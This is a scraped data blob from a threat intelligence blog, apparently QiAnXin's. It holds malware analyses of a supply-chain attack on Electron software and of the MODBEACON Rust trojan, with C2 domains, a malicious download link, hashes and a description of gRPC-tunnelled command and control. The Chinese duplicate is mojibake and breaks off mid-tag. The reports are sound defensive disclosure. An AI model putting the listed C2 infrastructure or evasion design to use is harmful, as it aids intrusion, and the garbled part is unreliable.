\\(WinHTTP, UA = WinHTTP UploadFile/1\\.0\\)\n sub\\_1400078F0, // callback: download file to disk \\(DeleteUrlCacheEntryW \\+ URLDownloadToFileW\\)\n dword\\_140079364, // configuration word\n 11, // protocol/version constant\n &String1 // C2 URL\n\\);\n</code></pre>\n<br>\n<h3 class="line" data-line="184">Summary</h3>\n<p class="line" data-line="186">At present, all products of QIANXIN based on threat intelligence data from the Threat Intelligence Center â including QIANXIN Threat Intelligence Platform (TIP), Tianqing, Tianyan Advanced Threat Detection System, QIANXIN NGSOC, and QIANXIN Situational Awareness â already support precise detection of such attacks.</p>\n<p class="line img-box text-center" data-line="188"><img src="/uploads/2026/08/10/38855622925d4994e73d320592398a15.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="192">IOC</h3>\n<p class="line" data-line="194">MD5:</p>\n<p class="line" data-line="196">8fb230a39b06c8aadce608f2abda19f1</p>\n<p class="line" data-line="198">a8020097a34d32721ddcba6cf75091b1</p>\n<p class="line" data-line="200">bdcaa7dc332f473ddbb50e606b1e707f</p>\n<p class="line" data-line="202">26f62150a38a0cd2d9d1087296e3d655</p>\n<p class="line" data-line="204">fb15ee51b257c91952082c1a35fe26c0</p>\n<p class="line" data-line="206">e6968d38ddb68931ff3e43db9e1535a4</p>\n<p class="line" data-line="208">1c801f78185f11eccaa5a37a62720e00</p>\n<p class="line" data-line="210">C2:</p>\n<p class="line" data-line="212">autotranshub.com</p>\n<p class="line" data-line="214">msultra.xin</p>\n<p class="line" data-line="216">winterms.com</p>\n<p class="line" data-line="218">navicat.cc</p>\n<p class="line" data-line="220">homeital.com</p>\n<p class="line" data-line="222">identifiles.com</p>\n<p class="line" data-line="224">msapifast.com</p>\n<br>\n<h3 class="line" data-line="228">References</h3>\n<p class="line" data-line="230">[1] https://ti.qianxin.com/blog/articles/operation-dragon-dance-the-sword-of-damocles-hanging-over-the-gaming-industry/</p>\n<p class="line" data-line="232">[2] https://ti.qianxin.com/blog/articles/operation-deviltiger-0day-vulnerability-techniques-and-tactics-used-by-apt-q-12-disclosed-cn/</p>\n<p class="line" data-line="234">[3] https://ti.qianxin.com/blog/articles/operation-south-star-cn/</p>\n<p class="line" data-line="236">[4] https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn/</p>\n<p class="line" data-line="238">[5] https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-activities-against-domestic-electron-software-en"},{_id:W,title:_,category:s,readableId:"operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"In mid-June 2026, the Red Raindrop Team at Qianxin Threat Intelligence Center detected, through its private intelligence AI production pipeline, a Ghost distributor delivering a highly modular special trojan written in Rust to specific targets. Based on its distinctive string characteristics, we named the trojan MODBEACON. Its victim targeting is highly customized, spanning sectors including technology, education, and state-owned enterprises.",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[_n,pp,Rt],publish_time:"2026-07-06T07:23:02.000Z",content:'<h2 class="line" data-line="0">
105Background</h2>\n<p class="line" data-line="2">"Silver Fox / UTG-Q-1000" has long been regarded as a byword for low-sophistication, high-activity cybercriminal operations that distribute counterfeit software via SEO channels. However, behind the scenes lies an organizational structure resembling foreign Malware-as-a-Service (MaaS), composed of multiple distributors. These distributors conduct activities across Asia using counterfeit software installers distributed through SEO campaigns, leveraging variants of Ghost and WinOS (ValleyRat) trojan families. In 2025, we countered one such distributor<sup>[1]</sup>, whose remote-control objective was limited to delivering fraud links in IM group chats, with no involvement in information theft or political motives.</p>\n<p class="line" data-line="4">In mid-June 2026, the Red Raindrop Team at Qianxin Threat Intelligence Center detected, through its private intelligence AI production pipeline, a Ghost distributor delivering a highly modular special trojan written in Rust to specific targets. Based on its distinctive string characteristics, we named the trojan <strong>MODBEACON</strong>. Its victim targeting is highly customized, spanning sectors including technology, education, and state-owned enterprises:</p>\n<p class="line img-box text-center" data-line="6"><img src="/uploads/2026/07/06/775881df1b48e1da2d3104fa909ef6cf.png" alt="" width="70%"></p>\n<p class="line" data-line="8">MODBEACON\'s requested C2 domains are hosted on Amazon CDN and Cloudflare CDN. The trojan is a professional and private C2 framework: the loader and beacon are separated, the configuration is injectable, the beacon employs a plugin-based architecture (native-v3 plugins with entry/init/fini RVA), and it uses gRPC tunnel streaming for communication. The overall engineering quality is high. Its core highlight is the reuse of the transport layer from an open-source anti-censorship proxy framework (Xray/V2Ray) as its C2 channel (xray.transport.internet.grpc.encoding.GRPCService/Tun) â a protocol originally designed to disguise VMess/VLESS/Trojan proxy protocol data streams as ordinary gRPC bidirectional streaming calls, causing the traffic to appear at the network layer as standard HTTP/2 + gRPC requests, thereby evading blocking and inspection based on traffic characteristics.</p>\n<p class="line" data-line="10">In subsequent attribution efforts against this Ghost distributor, we further discovered that it also conducts "black-on-black" operations targeting Cambodia\'s gambling industry. The lure naming style is notably similar to what we disclosed during the GoldenEye Dog<sup>[2]</sup> and GoldenFinger Dog<sup>[3]</sup> campaigns. Combined with its behavior of filtering targets by specific industries and delivering MODBEACON with tiered privileges, the distributor\'s motives can no longer be explained by purely economic objectives. There may be outsourced political intent behind its activities, which has sparked our strong interest in this distributor.</p>\n<p class="line" data-line="12">The Qianxin SkyEye "Liuhe" Advanced Threat Defense Engine is already capable of intercepting MODBEACON stage shellcode:</p>\n<p class="line img-box text-center" data-line="14"><img src="/uploads/2026/07/06/3ff40418755a17d4f8aa36775c574d90.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="18">Silver Fox Ghost Distributor Attribution</h2>\n<p class="line" data-line="20">The Ghost C2s involved in delivering MODBEACON are as follows:</p>\n<ul>\n<li>www.nd9c887r.com</li>\n<li>www.damaix9k.com</li>\n<li>vaeth.cn</li>\n<li>182.16.88.242</li>\n<li>kkuu8899.org</li>\n</ul>\n<p class="line" data-line="28">Based on on-site investigation of download records, we identified the upstream counterfeit domains and download links:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>SEOCampaign Counterfeit Domains</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cn-mumu.com.cn</td>\n<td></td>\n</tr>\n<tr>\n<td><strong>Download Link</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>https://asd268668.oss-ap-southeast-1.aliyuncs.com/MeiqiWintsetup_x64.zip</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line img-box text-center" data-line="38"><img src="/uploads/2026/07/06/307da948afaf5207870fe02fc54333dd.png" alt="" width="70%"></p>\n<p class="line" data-line="40">Metadata-based pivoting revealed that this batch of counterfeit domains became active as early as September 2025. The involved counterfeit domains are as follows:</p>\n<p class="line img-box text-center" data-line="42"><img src="/uploads/2026/07/06/1889b4c077814f0879cc5ebd1ab08f98.png" alt="" width="200"></p>\n<p class="line" data-line="44">VirusTotal data also shows that this distributor\'s daily activities mainly involve counterfeiting popular domestic software, with a large number of government and enterprise entities compromised.</p>\n<p class="line img-box text-center" data-line="46"><img src="/uploads/2026/07/06/3b8e18df0c01d444d18e10ecaf3fdac7.png" alt="" width="70%"></p>\n<p class="line" data-line="48">Based on MODBEACON\'s domains, we correlated another batch of Ghost lures. The filenames mostly use Cambodian anti-scam park crackdowns and public security incidents as hooks, featuring high timeliness and sensationalism: Poipet (a border scam hub), Sihanoukville, Phnom Penh, as well as corresponding Khmer-language versions.</p>\n<p class="line img-box text-center" data-line="50"><img src="/uploads/2026/07/06/6bfc20d99fcad60856bb952b6b1aecce.png" alt="" width="70%"></p>\n<p class="line" data-line="52">In assessing the nature of this distributor, we lean toward classifying it as a <strong>Hybrid Threat Actor</strong> â a composite of "cybercriminal arms dealer" and "traffic broker." On one hand, it accumulates a large number of controlled endpoints across Asia through daily SEO operations for fraud business. On the other hand, it delivers advanced custom trojans on demand, "renting" or "packaging and selling" high-value access to downstream, more professional "client entities," or establishing its own "black-on-black squads" targeting high-value gambling victims.</p>\n<br>\n<h2 class="line" data-line="56">MODBEACONAnalysis</h2>\n<p class="line" data-line="58">In addition to creating persistence for MODBEACON through traditional methods such as services and scheduled tasks, Ghost also establishes a WMI permanent subscription event to create a CBPUserTimer timer that launches the MODBEACON trojan:</p>\n<p class="line img-box text-center" data-line="60"><img src="/uploads/2026/07/06/745b882f8c2cbb04f8a9b871b57abf06.png" alt="" width="70%"></p>\n<p class="line" data-line="62">The sample is a memory-resident stage/implant for Windows x64, written in Rust or statically linked with the Rust runtime. It features gRPC over HTTP/2 communication, TLS connections, host fingerprinting, agent token authentication, heartbeat, status reporting, command result reporting, in-memory plugin loading, and native-v3 plugin session capabilities. Based on the string MODBEACON_AGENT_TOKEN_PATCH_V1, we named the trojan MODBEACON.</p>\n<p class="line" data-line="64"><strong>C2/Endpoint</strong></p>\n<p class="line" data-line="66">1.https://api.skystackservice.com</p>\n<ul>\n<li>Offsetï¼<code>0x79708</code></li>\n<li>Code referenceï¼<code>0x32160</code></li>\n</ul>\n<p class="line" data-line="70">2.https://api.fast-cloud-node.com</p>\n<ul>\n<li>Offsetï¼<code>0x79727</code></li>\n<li>Code referencesï¼<code>0x32182</code>ã<code>0x5ab99</code>ï¼with an indirect reference near 0x0dc5a</li>\n</ul>\n<p class="line" data-line="74"><strong>Agent Token / Hash</strong></p>\n<p class="line" data-line="76">
105b68e2067cc88985339154ef7b9674fa1fe958039ce15a8820195217495cded7994d660f181fe1367337ac8d6b372473c596be3f40ee989007bad57c2736be017</p>\n<ul>\n<li>Lengthï¼128 hex chars</li>\n<li>Locationï¼Immediately following the two HTTPS endpoints, starting at approximately 0x79746</li>\n</ul>\n<p class="line" data-line="81"><strong>Mutex / Environment Variables</strong></p>\n<ul>\n<li><code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code>ï¼offset <code>0x7159c</code></li>\n<li><code>CBPUserSvc</code>ï¼offset <code>0x71578</code></li>\n<li><code>APP\\_RUNTIME</code>ï¼offset <code>0x71582</code></li>\n<li><code>APP\\_EXE\\_PATH</code>ï¼offset <code>0x7158c</code></li>\n<li><code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>ï¼offset <code>0x7fc98</code></li>\n</ul>\n<p class="line" data-line="89"><strong>Protocol / Service Names</strong></p>\n<ul>\n<li><code>/xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService/Tun</code></li>\n<li><code>xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService</code></li>\n<li><code>Tun</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>application/grpc</code></li>\n<li><code>grpc\\-status</code></li>\n<li><code>grpc\\-message</code></li>\n<li><code>grpc\\-timeout</code></li>\n</ul>\n<br>\n<h3 class="line" data-line="102">Control Flow Overview</h3>\n<h4 class="line" data-line="104">Initialization and Single Instance</h4>\n<p class="line" data-line="106">Near 0x149a, 0x17ce, and 0x170a, RIP-relative references to CBPUserSvc, APP_RUNTIME, and Global\\CBP.QZKVM.Exe.Mutex are visible. The import table contains CreateMutexW, GetEnvironmentVariableW, SetEnvironmentVariableW, GetModuleFileNameW, and other APIs. The inferred initialization flow is:</p>\n<ol>\n<li>Read runtime environment variables and program path.</li>\n<li>Create Global\\CBP.QZKVM.Exe.Mutex to prevent multiple instances.</li>\n<li>Initialize runtime, thread, and network components via Windows APIs.</li>\n</ol>\n<br>\n<h4 class="line" data-line="114">C2 Configuration Selection and Token Patch</h4>\n<p class="line" data-line="116">Near 0x32120, a function contains concentrated references to the default C2 and token patch strings:</p>\n<ul>\n<li>0x32160 uses a RIP-relative address to load the configuration near https://api.skystackservice.com.</li>\n<li>0x32182 loads the configuration near https://api.fast-cloud-node.com.</li>\n<li>0x321b8 references MODBEACON_AGENT_TOKEN_PATCH_V1, followed by a 0x200-byte loop-check logic, suspected to read/overwrite the built-in agent token.</li>\n</ul>\n<p class="line" data-line="122">This function has a large stack frame, consistent with the morphology of Rust configuration construction, string objects, and error-handling paths. Combined with the strings parse grpc endpoint, connect grpc endpoint, and invalid agent token metadata, it can be determined that this function is responsible for parsing endpoints, constructing token metadata, and selecting an available C2.</p>\n<br>\n<h4 class="line" data-line="126">gRPC / TLS Communication Flow</h4>\n<p class="line" data-line="128">The string pool starting at 0x794c8 provides main flow status text:</p>\n<ul>\n<li><code>parse grpc endpoint</code></li>\n<li><code>connect grpc endpoint</code></li>\n<li><code>build native TLS connector</code></li>\n<li><code>queue hello</code></li>\n<li><code>invalid agent token metadata</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>open grpc tun stream</code></li>\n<li><code>read hello ack</code></li>\n<li><code>read server frame</code></li>\n<li><code>grpc response stream ended</code></li>\n<li><code>heartbeat timeout</code></li>\n<li><code>grpc response stream ended before hello ack</code></li>\n</ul>\n<p class="line" data-line="143">This indicates the communication flow is:</p>\n<ol>\n<li>Parse the built-in HTTPS C2.</li>\n<li>Establish a native TLS connector.</li>\n<li>Open a bidirectional tunnel using the gRPC Tun service.</li>\n<li>Carry x-agent-token in the metadata.</li>\n<li>Send hello and wait for HelloAck.</li>\n<li>Maintain heartbeat.</li>\n<li>Receive server frames and dispatch commands.</li>\n<li>Upload status refresh and command execution results.</li>\n</ol>\n<p class="line" data-line="154">The import table simultaneously contains WSAStartup, WSASocketW, connect, send, recv, shutdown, CertGetCertificateChain, CertVerifyCertificateChainPolicy, InitializeSecurityContextW, EncryptMessage, DecryptMessage, supporting the above network/TLS assessment.</p>\n<br>\n<h4 class="line" data-line="158">Host Fingerprinting</h4>\n<p class="line" data-line="160">Near 0x465c5, there is a reference to SOFTWARE\\Microsoft\\Cryptography\\MachineGuid. The string pool also contains:</p>\n<ul>\n<li><code>COMPUTERNAME</code></li>\n<li><code>HOSTNAME</code></li>\n<li><code>USERNAME</code></li>\n<li><code>USERLOGNAME</code></li>\n<li><code>SystemRoot</code></li>\n<li><code>windir</code></li>\n<li><code>SystemDrive</code></li>\n<li><code>platform</code></li>\n<li><code>system\\-disk</code></li>\n<li><code>
105host\\-user</code></li>\n<li><code>windows\\-system\\-volume:</code></li>\n</ul>\n<p class="line" data-line="173">It is inferred that this stage collects host unique identifiers, username, hostname, system directories, and disk information, used for agent registration, generating check-in status, or environment tags.</p>\n<br>\n<h4 class="line" data-line="177">Command and Plugin Dispatch</h4>\n<p class="line" data-line="179">Protobuf/gRPC semantic strings are located at 0x7b600+:</p>\n<ul>\n<li><code>Command</code></li>\n<li><code>command\\_id</code></li>\n<li><code>HelloAck</code></li>\n<li><code>Heartbeat</code></li>\n<li><code>ConfigSync</code></li>\n<li><code>LoadPlugin</code></li>\n<li><code>UnloadPlugin</code></li>\n<li><code>StatusRefresh</code></li>\n<li><code>PluginSessionFrame</code></li>\n<li><code>artifact\\_bytes</code></li>\n<li><code>artifact\\_format</code></li>\n<li><code>sha256</code></li>\n<li><code>target</code></li>\n<li><code>source\\_flag</code></li>\n</ul>\n<p class="line" data-line="195">Near 0x44003, PluginSessionFrame is referenced multiple times; near 0x4475f, LoadPlugin-related enums/fields are referenced multiple times, indicating that server frames are parsed and routed into different command-handling branches.</p>\n<br>\n<h4 class="line" data-line="199">Native-v3 In-Memory Plugin Loading</h4>\n<p class="line" data-line="201">The string pool at 0x79900-0x7a758 contains the complete native-v3 loader error path:</p>\n<ul>\n<li><code>load plugin artifact</code></li>\n<li><code>load native\\-v3 plugin module</code></li>\n<li><code>plugin loaded in memory</code></li>\n<li><code>plugin reloaded in memory</code></li>\n<li><code>plugin unloaded</code></li>\n<li><code>native\\-v3 plugin on\\_load failed</code></li>\n<li><code>native\\-v3 plugin on\\_session is missing</code></li>\n<li><code>artifact target architecture does not match this agent</code></li>\n<li><code>segment protection failed</code></li>\n<li><code>relocation overflow</code></li>\n<li><code>entry rva is not executable</code></li>\n<li><code>segment cannot be writable and executable</code></li>\n</ul>\n<p class="line" data-line="215">This indicates that the sample supports receiving native-v3 format plugins from the C2, allocating images in memory, verifying architecture, mapping segments, applying relocations, setting memory protections, and calling plugin entry/session callbacks. This capability can be used for subsequent on-demand expansion of information theft, lateral movement, proxy forwarding, or other payloads.</p>\n<br>\n<h2 class="line" data-line="219">Summary</h2>\n<p class="line" data-line="221">Currently, based on threat intelligence data from Qianxin Threat Intelligence Center, all product lines â including the Qianxin Threat Intelligence Platform (TIP), SkyEye, SkyEye Advanced Threat Detection System, Qianxin NGSOC, and Qianxin Situational Awareness â have already enabled precise detection for this type of attack.</p>\n<p class="line img-box text-center" data-line="223"><img src="/uploads/2026/07/06/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="227">IOC</h2>\n<p class="line" data-line="229">MODBEACON-MD5:</p>\n<p class="line" data-line="231">13aff4f82171d42e7f0a72dc96346c45</p>\n<p class="line" data-line="233">f6c69d8026d2114e5322f06f69471a6c</p>\n<p class="line" data-line="235">9913b09fddbe47d4459c1ae0aa8c4953</p>\n<p class="line" data-line="237">e32797efc17c8a9a663f6f0e64fcfa08</p>\n<p class="line" data-line="239">MODBEACON C2:</p>\n<p class="line" data-line="241">skystackservice.com</p>\n<p class="line" data-line="243">fast-cloud-node.com</p>\n<p class="line" data-line="245">ghost C2:</p>\n<p class="line" data-line="247">www.nd9c887r.com</p>\n<p class="line" data-line="249">www.damaix9k.com</p>\n<p class="line" data-line="251">vaeth.cn</p>\n<p class="line" data-line="253">182.16.88.242:22</p>\n<p class="line" data-line="255">kkuu8899.org</p>\n<br>\n<h2 class="line" data-line="259">References</h2>\n<p class="line" data-line="261">[1] https://mp.weixin.qq.com/s/BUDSvqc_DhBNad71kI2VuA</p>\n<p class="line" data-line="263">[2] https://ti.qianxin.com/blog/articles/operation-dragon-breath-(apt-q-27)-dimensionality-reduction-blow-to-the-gambling-industry/</p>\n<p class="line" data-line="265">[3] https://www.secrss.com/articles/27069</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-en"},{_id:L,title:V,category:s,readableId:"operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"2026 å¹´ 6 æä¸æ¬ï¼å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢éçç§ææ
æ¥ AI ç产æµç¨æ£æµå°ä¸ä¼ ghost åååå¨ç¹å®ç®æ ä¸å䏿¬¾ç± Rust ç¼åãé«åº¦æ¨¡ååçç¹ç§æ¨é©¬ï¼åºäºå
¶ç¹æ®å符串ç¹å¾ï¼æä»¬å°è¯¥æ¨é©¬å½å为 MODBEACONãå
¶åå®³ç®æ åç°é«åº¦å®å¶åï¼æ¶åç§æãæè²ãå½ä¼çé¢åã",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[_n,pp,Rt],publish_time:"2026-07-06T06:24:29.000Z",content:'<h2 class="line" data-line="0">èæ¯</h2>\n<p class="line" data-line="2">"é¶ç/UTG-Q-1000"é¿æè¢«è§ä½ä½æ°´å¹³ã髿´»è·åº¦ã以 SEO ä¸ºæ¸ éæé仿å软件çé»äº§ç代åè¯ï¼ä½å
¶èåå®ä¸ºå¤ä¸ªåååææçã类似å¢å¤ Malware-as-a-Service (MaaS) çç»ç»æ¶æãè¿äºååååå© ghost åç§ãwinosï¼ValleyRatï¼çæ¨é©¬å®¶æï¼å¨äºæ´²å°åºå仿å软件å®è£
å
ç SEO ææ¾å¼å±æ´»å¨ã2025 å¹´æä»¬åå¶äºå
¶ä¸ä¸ä¸ªååå<sup>
105[1]</sup>ï¼å
¶è¿æ§ç®çä»
éäºå¨ IM群è䏿éè¯éªé¾æ¥ï¼å¹¶ä¸æ¶åçªå¯ä¸æ¿æ²»å¨æºã</p>\n<p class="line" data-line="4">2026 å¹´ 6 æä¸æ¬ï¼å¥å®ä¿¡å¨èæ
æ¥ä¸å¿çº¢é¨æ»´å¢éçç§ææ
æ¥ AI ç产æµç¨æ£æµå°ä¸ä¼ ghost åååå¨ç¹å®ç®æ ä¸å䏿¬¾ç± Rust ç¼åãé«åº¦æ¨¡ååçç¹ç§æ¨é©¬ï¼åºäºå
¶ç¹æ®å符串ç¹å¾ï¼æä»¬å°è¯¥æ¨é©¬å½å为 MODBEACONãå
¶åå®³ç®æ åç°é«åº¦å®å¶åï¼æ¶åç§æãæè²ãå½ä¼çé¢åï¼</p>\n<p class="line img-box text-center" data-line="6"><img src="/uploads/2026/07/06/775881df1b48e1da2d3104fa909ef6cf.png" alt="" width="70%"></p>\n<p class="line" data-line="8">MODBEACON 请æ±ç C2 ååæç®¡äº Amazon CDN ä¸ Cloudflare CDNã该æ¨é©¬æ¯ä¸æ¬¾ä¸ä¸ä¸ç§æç C2 æ¡æ¶ï¼å è½½å¨ä¸ beacon å离ãé
ç½®å¯æ³¨å
¥ãbeacon éç¨æä»¶åæ¶æï¼native-v3 æä»¶ï¼å¸¦ entry/init/fini RVAï¼ãgRPC é§éæµå¼éä¿¡ï¼æ´ä½å·¥ç¨åç¨åº¦è¾é«ãå
¶æ ¸å¿äº®ç¹å¨äºå¤ç¨å¼æºæå®¡æ¥ä»£çæ¡æ¶ï¼Xray/V2Rayï¼çä¼ è¾å±ä½ä¸º C2ä¿¡éï¼xray.transport.internet.grpc.encoding.GRPCService/Tunï¼ââ该åè®®æ¬ç¨äºå° VMess/VLESS/Trojan ç代çåè®®çæ°æ®æµä¼ªè£
ä¸ºä¸æ¬¡æ®éç gRPC ååæµå¼è°ç¨ï¼ä½¿æµéå¨ç½ç»å±åç°ä¸ºæ åç HTTP/2 + gRPC 请æ±ï¼ä»èè§é¿åºäºæµéç¹å¾çå°éä¸å®¡æ¥ã</p>\n<p class="line" data-line="10">å¨åç»å¯¹è¿ä¼ghoståååçæº¯æºä¸ï¼æä»¬è¿ä¸æ¥åç°å
¶è¿é对æ¬å寨çå彩è¡ä¸å±å¼"é»åé»"æ´»å¨ï¼æéç诱饵å½å飿 ¼ä¸å½å¹´æä»¬æ«é²éç¼ç<sup>[2]</sup>ãéæç<sup>[3]</sup>æ¶é¢ä¸ºç¸ä¼¼ãç»åå
¶æç¹å®è¡ä¸çéç®æ ãå¹¶åæéä¸åMODBEACONç¹é©¬çè¡ä¸ºç¹å¾ï¼è¯¥åååç卿ºå·²é¾ä»¥åçº¯ä»¥ç»æµç®çå 以解éï¼èåå¯è½åå¨å¤å
æ§è´¨çæ¿æ²»æå¾ï¼è¿å¼èµ·äºæä»¬å¯¹è¯¥åååçæµåå
´è¶£</p>\n<p class="line" data-line="12">天æâå
åâé«çº§å¨èé²å¾¡å¼æå·²ç»å¯ä»¥å¯¹ MODBEACON stage shellcode è¿è¡æ¦æªï¼</p>\n<p class="line img-box text-center" data-line="14"><img src="/uploads/2026/07/06/3ff40418755a17d4f8aa36775c574d90.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="18">é¶çghoståååæº¯æº</h2>\n<p class="line" data-line="20">æ¶åæéMODBEACONç¹é©¬çghost C2å¦ä¸ï¼</p>\n<ul>\n<li>www.nd9c887r.com</li>\n<li>www.damaix9k.com</li>\n<li>vaeth.cn</li>\n<li>182.16.88.242</li>\n<li>kkuu8899.org</li>\n</ul>\n<p class="line" data-line="28">åºäºæä»¬ç°åºææ¥çä¸è½½è®°å½å®ä½å°ä¸å±ç仿ååååä¸è½½é¾æ¥ï¼</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>SEOæ´»å¨ä»¿ååå</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cn-mumu.com.cn</td>\n<td></td>\n</tr>\n<tr>\n<td><strong>ä¸è½½é¾æ¥</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>https://asd268668.oss-ap-southeast-1.aliyuncs.com/MeiqiWintsetup_x64.zip</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line img-box text-center" data-line="37"><img src="/uploads/2026/07/06/307da948afaf5207870fe02fc54333dd.png" alt="" width="70%"></p>\n<p class="line" data-line="39">åºäºå
æ°æ®æ©çº¿åç°è¿æ¹ä»¿åååææ©äº2025å¹´9æä»½å¼å§æ´»è·,æ¶åç仿åååå¦ä¸ï¼</p>\n<p class="line img-box text-center" data-line="41"><img src="/uploads/2026/07/06/1889b4c077814f0879cc5ebd1ab08f98.png" alt="" width="200"></p>\n<p class="line" data-line="43">åºäºVTæ°æ®ä¹è½è§å¯å°è¯¥åååçæ¥å¸¸æ´»å¨ä¸»è¦æ¯ä»¿åå½å
æµè¡è½¯ä»¶ï¼å¤§éæ¿ä¼ä¸æã</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/07/06/3b8e18df0c01d444d18e10ecaf3fdac7.png" alt="" width="70%"></p>\n<p class="line" data-line="47">åºäº MODBEACON çååæä»¬å
³èå°äºå¦ä¸æ¹ ghost è¯±é¥µï¼æä»¶åå¤ä»¥ä»¥æ¬å寨æå»è¯éªååºãæ²»å®äºä»¶ä¸ºå±å¤´ï¼æå
·æ¶ææ§ä¸ç奿§ï¼Poipetï¼æ³¢è´ï¼è¾¹å¢è¯éªééï¼ãSihanoukvilleï¼è¥¿ååªå
港ï¼ãPhnom Penhï¼éè¾¹ï¼è¿æå¯¹åºç髿£è¯çæ¬ã</p>\n<p class="line img-box text-center" data-line="49"><img src="/uploads/2026/07/06/6bfc20d99fcad60856bb952b6b1aecce.png" alt="" width="70%"></p>\n<p class="line" data-line="51">对该åååæ§è´¨çè¯ä¼°ï¼æä»¬æ´å¾åäºæ··ååå¨èç»ç»ï¼Hybrid Threat Actorï¼å±äºâé»äº§åç«åâä¸âæµéä¸é´åâçå¤åä½ï¼ä¸æ¹é¢éè¿æ¥å¸¸ SEO å·¥ä½å¨äºæ´²ç§¯ç´¯å¤§éåæ§ç»ç«¯è¿è¡è¯éªä¸å¡ï¼å¦ä¸æ¹é¢æéä¸åé«çº§ç¹é©¬ï¼å°é«ä»·å¼çæéâåºç§âæâæå
åºå®âç»ä¸æ¸¸æ´ä¸ä¸çâç²æ¹å®¢æ·âï¼æè
èªå·±å»ºç«é对é«ä»·å¼åå½©ç®æ çâé»åé»å°ç»âã</p>\n<br>\n<h2 class="line" data-line="55">MODBEACON åæ</h2>\n<p class="line" data-line="57">Ghost é¤äºéè¿æå¡å计åä»»å¡çä¼ ç»æ¹å¼ç» MODBEACON å建æä¹
åå¤ï¼è¿ä¼å»ºç« wmi æ°¸ä¹
订é
äºä»¶å»ºç« CBPUserTimer 宿¶å¨å¯å¨ MODBEACON ç¹é©¬ï¼</p>\n<p class="line img-box text-center" data-line="59"><img src="/uploads/2026/07/06/745b882f8c2cbb04f8a9b871b57abf06.png" alt="" width="70%"></p>\n<p class="line" data-line="61">æ ·æ¬æ¯ä¸ä¸ª Rust ç¼åæéæé¾æ¥ Rust è¿è¡åºç Windows x64 å
åæ stage/implantï¼å
·å¤ gRPC over HTTP/2 éä¿¡ãTLS è¿æ¥ãä¸»æºæçº¹ééãagent token
105认è¯ãå¿è·³ãç¶æåä¼ ãå½ä»¤ç»æåä¼ ãå
åæä»¶å è½½å native-v3 æä»¶ä¼è¯è½åãåºäºå符串 <code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>ï¼æä»¬å°ç¹é©¬å½å为 MODBEACONã</p>\n<p class="line" data-line="63"><strong>C2/Endpoint</strong></p>\n<p class="line" data-line="65">1.https://api.skystackservice.com</p>\n<ul>\n<li>åç§»ï¼<code>0x79708</code></li>\n<li>代ç å¼ç¨ï¼<code>0x32160</code></li>\n</ul>\n<p class="line" data-line="70">2.https://api.fast-cloud-node.com</p>\n<ul>\n<li>åç§»ï¼<code>0x79727</code></li>\n<li>代ç å¼ç¨ï¼<code>0x32182</code>ã<code>0x5ab99</code>ï¼å¦æ <code>0x0dc5a</code> éè¿é´æ¥å¼ç¨å½ä¸</li>\n</ul>\n<p class="line" data-line="75"><strong>Agent Token / Hash</strong></p>\n<p class="line" data-line="77">b68e2067cc88985339154ef7b9674fa1fe958039ce15a8820195217495cded7994d660f181fe1367337ac8d6b372473c596be3f40ee989007bad57c2736be017</p>\n<ul>\n<li>é¿åº¦ï¼128 hex chars</li>\n<li>ä½ç½®ï¼ç´§è·ä¸¤ä¸ª HTTPS endpoint ä¹åï¼èµ·å§çº¦ <code>0x79746</code></li>\n</ul>\n<p class="line" data-line="82"><strong>äºæ¥ä½/ç¯å¢åé</strong></p>\n<ul>\n<li><code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code>ï¼åç§» <code>0x7159c</code></li>\n<li><code>CBPUserSvc</code>ï¼åç§» <code>0x71578</code></li>\n<li><code>APP\\_RUNTIME</code>ï¼åç§» <code>0x71582</code></li>\n<li><code>APP\\_EXE\\_PATH</code>ï¼åç§» <code>0x7158c</code></li>\n<li><code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>ï¼åç§» <code>0x7fc98</code></li>\n</ul>\n<p class="line" 